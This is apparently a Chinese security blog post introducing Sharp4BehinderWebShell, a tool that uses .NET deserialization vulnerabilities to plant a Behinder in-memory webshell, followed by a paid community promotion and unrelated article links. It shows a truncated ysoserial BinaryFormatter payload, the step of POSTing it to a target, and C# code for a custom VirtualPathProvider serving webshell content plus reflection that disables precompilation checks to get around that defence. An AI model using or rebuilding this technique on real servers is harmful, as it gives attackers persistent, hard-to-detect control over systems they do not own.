当前位置: 首页 > news >正文

.NET 一款反序列化打入冰蝎内存马的工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4BehinderWebShell 是一款利用.NET反序列化漏洞向内存中植入冰蝎WebShell的工具。通过这种方式,可以使用冰蝎客户端连接内存马获取WebShell,并且支持在.NET预编译环境下使用。以下是对该工具的详细介绍,包括其使用方法和代码解释。

图片

03使用方法

使用ysoserial生成冰蝎内存马的反序列化攻击负载,用于触发漏洞部分。以下是一个通过BinaryFormatter触发反序列化漏洞的示例负载,由于比较长此处仅展示一部分内容。

AAEAAAD/AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdG.........................

接着,将生成的反序列化攻击负载通过POST请求发送到目标服务器,触发.NET反序列化漏洞,成功后即植入冰蝎内存马。访问以下URL即可加载WebShell:

http://localhost:51448/fakepath31337/{0}.aspx

此处的fakepath31337路径可以自定义,通过修改Poc里的参数即可,其中{0}表示占位符,可以替换成任意字符,比如请求 /fakepath31337/36.aspx

图片

上图中没有出现异常错误,随后,通过冰蝎客户端成功连接到内存马,执行命令如下图所示

图片

04编码实现

Sharp4BehinderWebShell 主要通过注册自定义的虚拟路径提供程序(VirtualPathProvider)并结合反序列化攻击负载,实现对目标服务器的控制。首先该类继承自 System.Web.Hosting.VirtualPathProvider,用于注册虚拟路径提供程序,重写其方法以提供自定义路径和文件内容。

public class SamplePathProvider : System.Web.Hosting.VirtualPathProvider
{private string _virtualDir;private string _fileContent;public SamplePathProvider(string virtualDir, string fileContent): base(){_virtualDir = "/" + virtualDir.Replace(@"\", "/");_virtualDir = _virtualDir.Replace("//", "/").TrimEnd('/');// 初始化文件内容_fileContent = fileContent;}protected override void Initialize(){// 初始化操作,可以在这里添加自定义逻辑}
}

接着,该SampleVirtualFile类继承自 System.Web.Hosting.VirtualFile,用于表示虚拟文件,并提供文件内容,具体代码如下所示。

public class SampleVirtualFile : System.Web.Hosting.VirtualFile
{private string _fileContent;public bool Exists => true;public SampleVirtualFile(string virtualPath, string fileContent): base(virtualPath){// 初始化文件内容_fileContent = fileContent;}public override System.IO.Stream Open(){return new System.IO.MemoryStream(System.Text.Encoding.UTF8.GetBytes(_fileContent));}
}

同时,工具通过反射修改 System.Web.Compilation.BuildManager 类的私有字段,动态关闭预编译设置。如下所示。

if (System.Web.Compilation.BuildManager.IsPrecompiledApp)
{var typeBuildManager = typeof(System.Web.Compilation.BuildManager);var field_theBuildManager = typeBuildManager.GetField("_theBuildManager", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);var field_isPrecompiledAppComputed = typeBuildManager.GetField("_isPrecompiledAppComputed", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);var field_isPrecompiledApp = typeBuildManager.GetField("_isPrecompiledApp", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);var field_theBuildManager_instance = field_theBuildManager.GetValue(null);var field_isPrecompiledAppComputed_oldValue = field_isPrecompiledAppComputed.GetValue(field_theBuildManager_instance);var field_isPrecompiledApp_oldValue = field_isPrecompiledApp.GetValue(field_theBuildManager_instance);field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, true);field_isPrecompiledApp.SetValue(field_theBuildManager_instance, false);// 注册自定义的 VirtualPathProviderSystem.Web.Hosting.HostingEnvironment.RegisterVirtualPathProvider(sampleProvider);field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, field_isPrecompiledAppComputed_oldValue);field_isPrecompiledApp.SetValue(field_theBuildManager_instance, field_isPrecompiledApp_oldValue);
}

这里,通过 Compilation.BuildManager.IsPrecompiledApp 检查应用是否为预编译,最后,RegisterVirtualPathProvider(sampleProvider) 注册自定义的虚拟路径提供程序。

Sharp4BehinderWebShell 提供了一种利用.NET反序列化漏洞向内存中植入冰蝎WebShell的手段,可以绕过.NET预编译环境的限制,实现对目标系统的控制。

05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

http://www.lryc.cn/news/412495.html

相关文章:

  • FPGA实现SDI视频接收转USB3.0传输,GS2971+FT601方案,提供4套工程源码和QT上位机源码
  • 2024第26届中国(深圳)国际清洁能源、储能科技与新型电力展览会
  • 计算机基础(Windows 10+Office 2016)教程 —— 第6章 电子表格软件Excel 2016(下)
  • npm install 巨慢,导致Jenkins编译报错问题解决——基础积累
  • Stable Diffusion 使用详解(5)---- 光影效果与场景融入
  • 5G三大场景:eMBB、mMTC、uRLLC
  • 数据结构(面试)
  • 从“人巡”到“智控”:EasyCVR智能视频监控技术变革河道违建监测模式
  • JAVA基础 - 反射
  • 【系统架构设计师】二十二、嵌入式系统架构设计理论与实践③
  • 【轨物推荐】经济长波:创新周期的历史
  • springboot高校勤工俭学平台-计算机毕业设计源码66824
  • CRM是什么?如何用CRM管理好客户?
  • 编程入门:大学新生的指南与策略
  • Spring Cloud中怎么使用Resilience4j Retry对OpenFeign进行重试
  • 【Redis 进阶】事务
  • Linux的防火墙
  • 跟张良均老师学大数据人工智能-批量集训营开班中
  • 2024年音频剪辑必备:五大最佳音频编辑软件精选!
  • Native Programs(本机程序)
  • RisingWave 1.10 发布!新增用户自定义聚合函数
  • Modbus通讯协议
  • fal.ai发布超分辨率模型——AuraSR V2
  • SYD88xx代码复位不成功和解决办法
  • 加油,为Vue3提供一个可媲美Angular的ioc容器
  • RS485 CAN SPI IIC UART RS232这些通信协议传输距离、传输速度对比给出比较顺序-笔记(面试必备)
  • 高频JMeter软件测试面试题
  • iptables netfilter
  • 如何使用Python自动发送邮件?
  • C#中读写INI配置文件